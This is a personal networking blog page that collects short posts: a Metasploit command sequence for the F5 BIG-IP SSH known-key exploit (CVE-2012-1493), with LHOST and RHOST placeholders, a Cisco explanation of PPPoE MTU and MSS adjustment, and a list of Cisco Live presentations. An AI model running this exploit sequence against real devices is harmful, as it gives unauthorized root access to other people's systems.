Silence of love

Believe in Good

Giving Is the Best Communication

Source: http://philipcao.com/2013/09/22/giving-is-the-best-communication/

SSH vulnerability CVE-2012-1493

Exploit Usage Information

$ msfconsole

msf > use exploit/linux/ssh/f5_bigip_known_privkey
msf exploit(f5_bigip_known_privkey) > show payloads
msf exploit(f5_bigip_known_privkey) > set PAYLOAD ...
msf exploit(f5_bigip_known_privkey) > set LHOST [MY IP ADDRESS]
msf exploit(f5_bigip_known_privkey) > set RHOST [TARGET IP]
msf exploit(f5_bigip_known_privkey) > exploit

http://www.labtestproject.com/create_root_user_account

PPOE over Cisco

The TCP MSS Adjustment feature enables the configuration of the maximum segment size (MSS) for transient packets that traverse a router, specifically TCP segments in the SYN bit set, when PPP over Ethernet (PPPoE) is being used in the network. PPPoE truncates the Ethernet maximum transmission unit (MTU) 1492, and if the effective MTU on the hosts (PCs) is not changed, the router in between the host and the server can terminate the TCP sessions. The ip tcp adjust-mss command specifies the MSS value on the intermediate router of the SYN packets to avoid truncation.

When a host (usually a PC) initiates a TCP session with a server, it negotiates the IP segment size by using the MSS option field in the TCP SYN packet. The value of the MSS field is determined by the maximum transmission unit (MTU) configuration on the host. The default MSS value for a PC is 1500 bytes.
The PPP over Ethernet (PPPoE) standard supports a MTU of only 1492 bytes. The disparity between the host and PPPoE MTU size can cause the router in between the host and the server to drop 1500-byte packets and terminate TCP sessions over the PPPoE network. Even if the path MTU (which detects the correct MTU across the path) is enabled on the host, sessions may be dropped because system administrators sometimes disable the ICMP error messages that must be relayed from the host in order for path MTU to work. The ip tcp adjust-mss command helps prevent TCP sessions from being dropped by adjusting the MSS value of the TCP SYN packets. The ip tcp adjust-mss command is effective only for TCP connections passing through the router. In most cases, the optimum value for the max-segment-size argument is 1452 bytes. This value plus the 20-byte IP header, the 20-byte TCP header, and the 8-byte PPPoE header add up to a 1500-byte packet that matches the MTU size for the Ethernet link.
If you are configuring the ip mtu command on the same interface as the ip tcp adjust-mss command, it is recommended that you use the following commands and values:
ip tcp adjust-mss 1452
ip mtu 1492

Làm an toàn thông tin thì học gì?

http://www.procul.org/blog/2012/05/02/lam-an-toan-thong-tin-thi-h%E1%BB%8Dc-gi/

Cisco Live training presentations and online sessions

Cisco Live training presentations and online sessions

The Care and Feeding of EIGRP	PDF
Advanced Wireless Networks using IPv6Enabling new applications and radio behaviors	PDF
Introduction to Accounting Principles with NetFlow and NBAR	PDF
Bridging in the Data Center With or Without Spanning Tree	PDF
Collaboration In the Cloud	PDF
Design and Deployment of Triple Play Networks (Data, Voice, Video) Over Wireless	PDF
Introduction Cisco Layer 2 Multipathing	PDF
Introduction to Accounting Principles with NetFlow and NBAR	PDF
Introduction to Cisco telepresence	PDF
Network Health Framework	PDF
Wireless LAN Radio: Spectrum Management Best Practices	PDF
Wireless LAN Security: Hacking Techniques and Protection	PDF
Understanding and Preventing Layer 2 Attacks	PDF
Cisco IOS – Managing, Optimizing and Tweaking	PDF
Introduction to IP Multicast	PDF
Multilayer Campus Architecture and Design Principles	PDF
Deploying a Virtualized Campus Network Infrastructure	PDF
It’s 2010, How Do Hackers (Still) Get In?	PDF
Label Switched Multicast	PDF
Case Studies in Network Infrastructure Virtualization	PDF
Deploying IOS Security	PDF
Highly Available Wide Area Network Design	PDF
Routing Resiliency -Latest Enhancements	PDF
Enterprise IPv6 Deployment	PDF
Securing Cloud Computing	PDF
WAN Architectures and Design Principles	PDF
Firewall Design and Deployment	PDF
The Care and Feeding of EIGRP	PDF
Cisco NAC Overview	PDF
Campus QoS Design	PDF
Troubleshooting LAN Protocols	PDF
Troubleshooting LAN Switches and Protocols	PDF
Next-Generation Network Access Policy with Cisco Secure Access Control System (ACS)	PDF
Cisco IOS – Managing, Optimizing and Tweaking	PDF
Cisco IronPortEmail Security Appliance	PDF
Troubleshooting the Routing Protocol OSPF EIGRP	PDF
Advances in Routing: Topics and Directions	PDF
Securing DNS	PDF
Understanding and Preventing Layer 2 Attacks in IPv4 and IPv6 networks	PDF
Why EIGRP? Core features and Advances in EIGRP	PDF
CCNA Voice Prep: Cisco IP Telephony Essentials	PDF
Mastering IP Subnetting Forever	PDF
CCNA-Security/CCSP: Cisco IOS Zone-Based Policy Firewall Overview	PDF
CCNA Wireless Prep Session	PDF